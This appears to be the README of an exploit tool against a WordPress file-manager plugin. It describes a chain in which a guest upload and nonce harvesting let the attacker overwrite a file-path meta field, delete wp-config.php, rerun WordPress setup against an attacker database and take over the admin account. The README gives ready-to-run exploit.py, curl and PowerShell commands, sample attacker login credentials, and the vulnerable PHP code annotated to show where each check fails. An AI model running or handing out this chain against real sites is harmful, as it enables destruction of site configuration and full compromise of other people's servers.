1. Detect plugin + guest upload enabled
2. Auto-extract AJAX nonce from frontend page (hidden input field)
3. Upload file as guest OR bruteforce existing post ID
4. Overwrite wpfm_dir_path via query string bypass → point to wp-config.php
5. Trigger wpfm_delete_file → unlink(wp-config.php)
6. WordPress enters setup mode (setup-config.php)
7. Complete setup with attacker-controlled database
8. Login as admin → full takeover

# Install dependencies
pip install -r requirements.txt

# Full auto exploit (nonce auto-detected)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Detection only
python exploit.py -u http://target.com --detect-only

# With manual nonce (if auto-detect fails)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# With Burp proxy
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Custom attacker DB config
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

URL:      http://target.com/wp-login.php
Username: shac1x
Password: Sh4c1x_Pwn3d!

bash poc_curl.sh http://target.com

.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// When guest upload ON → !$allow_guest = false → entire check SKIPPED

function delete_file_locally() {
    $file_path = $this->path;  // from wpfm_dir_path meta - NO VALIDATION
    if (file_exists($file_path)) {
        unlink($file_path);    // ARBITRARY FILE DELETION
    }
}

function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // NO canonicalization, NO realpath check
}